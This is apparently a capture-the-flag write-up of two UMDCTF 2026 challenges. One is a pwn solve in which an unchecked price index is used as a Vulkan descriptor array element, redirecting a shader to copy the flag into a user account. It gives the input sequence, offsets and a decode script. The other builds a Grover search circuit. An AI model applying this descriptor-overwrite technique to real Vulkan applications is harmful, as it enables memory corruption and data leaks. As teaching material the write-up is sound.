CAUTIONSpoilers ahead. This post includes solution details, payloads, and flags.
UMDCTF 2026 had a funny spread for me. One challenge asked me to leak a flag through Vulkan descriptor bookkeeping, which is not a sentence I expected to write this year. The other one handed me a quantum oracle and politely asked me to do math instead of panic.
This post collects two solves: [Pwn] vkexchange and [Misc] quant?. The pwn section gets a little more room because the bug is unusual and very easy to misunderstand at first. The quantum section is cleaner, but still has a nice “one number off and nothing happens” moment.
[Pwn] vkexchange
vkexchange is a stock-market themed service backed by Vulkan. That already sounds like a fever dream, but the core bug is surprisingly clean: a user-controlled price index becomes a Vulkan descriptor-array index, and that lets me redirect where the settlement shader writes.
In plain words: I made the GPU copy the flag into my account balance sheet. Very normal banking behavior.
What made this challenge interesting
The normal account buffers were boring in the best way. Reads and writes were bounded, and the menu did not give me an easy heap or stack overflow.
The interesting part was not the account memory itself. It was the metadata that told the Vulkan shader which buffers to use.
The flag was copied into an oracle buffer during exchange setup:
static void init_resolution(App *app) { const char *env = getenv("FLAG"); if (!env || !*env) { env = "UMDCTF{test_flag}"; } snprintf(app->resolution, sizeof(app->resolution), "%s", env);
make_raw_buffer(app, &app->oracle_buf, RESOLUTION_WORDS * sizeof(uint32_t)); memcpy(app->oracle_buf.map, app->resolution, resolution_len); make_raw_buffer(app, &app->clearing_buf, RESOLUTION_WORDS * sizeof(uint32_t));}So the flag was already in GPU-visible memory. The challenge was to convince the compute shader to copy it somewhere I could read.
Background: the two important buffers
The settlement shader used two storage-buffer bindings:
layout(set = 0, binding = 0) readonly buffer OracleBook { uint oracle_words[];};
layout(set = 0, binding = 1) writeonly buffer ClearingBook { uint clearing_words[];};Normal behavior:
- binding 0 points to
oracle_buf, which contains the flag - binding 1 points to
clearing_buf, which is private - settlement copies one 4-byte word at a time
The shader logic was basically:
clearing_words[push.index] = oracle_words[push.index];So if I could make clearing_words point to my account buffer, the shader would become a very fancy flag printer.
Step 1: Find where user input reaches Vulkan descriptors
The helper that updates descriptors was straightforward:
static void update_storage_desc(App *app, VkDescriptorSet set, uint32_t binding, uint32_t array_elem, VkBuffer buf, VkDeviceSize off, VkDeviceSize range) { VkDescriptorBufferInfo info = desc_info(buf, off, range); VkWriteDescriptorSet write = { .sType = VK_STRUCTURE_TYPE_WRITE_DESCRIPTOR_SET, .dstSet = set, .dstBinding = binding, .dstArrayElement = array_elem, .descriptorCount = 1, .descriptorType = VK_DESCRIPTOR_TYPE_STORAGE_BUFFER, .pBufferInfo = &info, }; vkUpdateDescriptorSets(app->device, 1, &write, 0, NULL);}The bug lived in menu_quote_position():
uint64_t idx = ask_u64("price_index: ");...if (idx < MIN_PRICE_INDEX || idx > MAX_PRICE_INDEX) { puts("bad price index"); return;}...update_storage_desc(app, app->quote_book, 0, (uint32_t)idx, b->buf, off, range);The program checks idx as a price index, but then uses it as dstArrayElement in vkUpdateDescriptorSets().
That is the mismatch. The quote descriptor binding has only one storage-buffer descriptor, but valid price indexes start at 32768. That is not “a little out of bounds.” That is “walk into the next building” out of bounds.
Step 2: Aim the descriptor overwrite
During normal exchange setup, settlement binding 1 points to the private clearing buffer:
update_storage_desc(app, app->settlement_book, 1, 0, app->clearing_buf.buf, 0, app->clearing_buf.size);I wanted the out-of-bounds quote descriptor update to overwrite that descriptor, replacing clearing_buf with account 0.
The exact values that lined up in the challenge’s lavapipe runtime were:
account size = 256outcome_slots = 32768memo_bytes = 8price_index = 32778account = 0offset = 0range = 256rounds = 0..63The memo_bytes = 8 part was the tiny goblin detail. With memo_bytes = 0, the idea looked right but the overwrite missed the target descriptor. With 8, the descriptor metadata lined up and settlement binding 1 became my account buffer.
WARNINGThis was not a normal C buffer overflow. The account buffer stayed bounded. The bug was in Vulkan descriptor metadata, so the important target was the shader binding, not a C return address.
Step 3: Run the exploit sequence
The manual menu flow was short:
12564327688563277800256That does:
- create account 0 with 256 bytes
- list one large market
- use
memo_bytes = 8for alignment - open the exchange
- quote a position with
price_index = 32778 - point the overwritten descriptor at account 0
Then I settled each possible flag word:
707172...763Each settle_market(round) copied one 4-byte word from oracle_buf into what should have been clearing_buf, but was now account 0.
Step 4: Audit account 0 and decode the leak
Finally I audited the account:
300256The service printed a long hex string. The solver decoded it like this:
data = io.recvuntil(b"\n\n")hex_blob = re.search(rb"([0-9a-f]{64,})", data).group(1)leak = bytes.fromhex(hex_blob.decode())print(re.search(rb"UMDCTF\{[^}]+\}", leak).group(0).decode())Expected output:
UMDCTF{yeah_im_sorry_for_making_this_i_know_its_really_annoying_but_at_least_maybe_you_learned_vulkan}Flag
UMDCTF{yeah_im_sorry_for_making_this_i_know_its_really_annoying_but_at_least_maybe_you_learned_vulkan}
Why the solve worked
The shader never needed to know it was leaking a flag. It only copied:
oracle_words[i] -> clearing_words[i]The exploit changed what clearing_words meant. After the descriptor overwrite, clearing_words pointed to account 0. Then audit_account() became the final read primitive.
That is the cute part of this challenge: the GPU did exactly what it was told. I just changed who was holding the clipboard.
Concept map
%%{init: {"themeVariables": {"fontSize": "20px"}}}%%mindmap root((vkexchange)) Data flow FLAG environment copied into oracle buffer settlement shader reads oracle words writes clearing words account zero normal bounded audit path Descriptor bug quote position menu accepts price index validates market price range Vulkan update price index becomes dstArrayElement quote binding has one descriptor huge index walks descriptor metadata Landing the overwrite market shape outcome slots 32768 memo bytes 8 magic index price index 32778 target settlement binding one replace clearing buffer with account zero Flag copy loop settle round zero to sixty three copy oracle word into account audit account print leaked bytes as hex decode recover UMDCTF flag[Misc] quant?
quant? was much more polite. It did not ask me to argue with Vulkan. It simply handed me 16 qubits, one oracle, and a quiet hint that Grover was standing behind the curtain wearing sunglasses.
What made this challenge interesting
The service accepted one OpenQASM-like circuit. The setup was:
- 16 input qubits:
q[0]throughq[15] - one ancilla:
q[16] - one 16-bit classical register
- a black-box
oracle - a helper called
diffuse - at most 250 oracle calls
- 512 shots
That is almost a neon sign saying “use Grover search.” The only real tuning question was how many iterations to use.
Step 1: Estimate the Grover iteration count
There are:
2^16 = 65536possible marked states. For one hidden marked state, the usual Grover estimate is:
floor(pi / 4 * sqrt(65536))= floor(pi / 4 * 256)= 201So 201 was the first natural guess. It was syntactically accepted, but it did not print the flag. Quantum challenges enjoy being dramatic like that.
Trying nearby values showed that 200 iterations was the winner. It placed all 512 shots on one state and triggered the flag output.
Step 2: Build the circuit
The circuit had four parts:
- put all 16 input qubits into superposition
- prepare the ancilla as
|-> - repeat
oraclethendiffuse200 times - measure all input qubits
The solver generated the circuit like this:
def build_circuit(iters=200): n = 16 lines = [ "OPENQASM 2.0;", 'include "qelib1.inc";', "qreg q[17];", "creg c[16];", ]
for i in range(n): lines.append(f"h q[{i}];")
lines += ["x q[16];", "h q[16];"]
args16 = ",".join(f"q[{i}]" for i in range(n)) args17 = ",".join(f"q[{i}]" for i in range(n + 1))
for _ in range(iters): lines.append(f"oracle {args17};") lines.append(f"diffuse {args16};")
for i in range(n): lines.append(f"measure q[{i}] -> c[{i}];")
lines.append("END") return "\n".join(lines) + "\n"The ancilla preparation matters because the oracle needs phase kickback. The x; h; sequence prepares q[16] as |->, which lets the hidden condition become a phase flip on the input state.
Step 3: Submit the circuit and read the counts
After proof-of-work, the script sent the circuit and collected output.
The useful result was:
counts:0110010101111010: 512UMDCTF{0110010101111010}All 512 shots landed on the same bitstring, so the service accepted it as enough probability mass on the hidden marked state.
Flag
UMDCTF{0110010101111010}
Why 200 worked better than the obvious 201
The textbook count gives the right neighborhood, not always the exact service-winning integer. Real challenge simulators may differ slightly because of bit ordering, oracle conventions, ancilla behavior, or the service’s own threshold. So I treated 201 as a starting point, then checked nearby counts.
In this case, 200 was the sweet spot. The lesson is simple: do the math, then still test the fence posts.
Concept map
%%{init: {"themeVariables": {"fontSize": "20px"}}}%%mindmap root((quant?)) Service pieces input register sixteen qubits 65536 states ancilla q16 prepared as minus state helpers black box oracle diffuse operator Grover tuning formula pi over four times square root N estimate is 201 practical check try nearby counts 200 iterations wins Circuit recipe initialize hadamards on inputs x then h on ancilla amplification loop oracle diffuse repeat 200 times measurement measure q0 through q15 Output counts one state gets all 512 shots state 0110010101111010 flag service prints UMDCTF flagReferences
- Vulkan Specification - Descriptor Sets - background for descriptor sets and descriptor updates used in
vkexchange - Vulkan
VkWriteDescriptorSet- reference fordstArrayElement, the field abused in the pwn challenge - Mesa lavapipe documentation - useful context for software Vulkan/GPU behavior through Mesa
- Qiskit textbook - Grover’s Algorithm - background for the amplitude amplification idea in
quant? - OpenQASM 2.0 documentation - syntax background for the submitted circuit
Closing notes
These two challenges were a nice pair. vkexchange was the kind of pwn challenge where the memory corruption lives one abstraction layer away from where I first looked. quant? was a clean reminder that sometimes the exploit is just choosing the right algorithm and nudging one parameter until the universe agrees.
In short: one flag came from a confused Vulkan descriptor, and one came from Grover doing exactly what Grover does. That is a pretty good CTF day.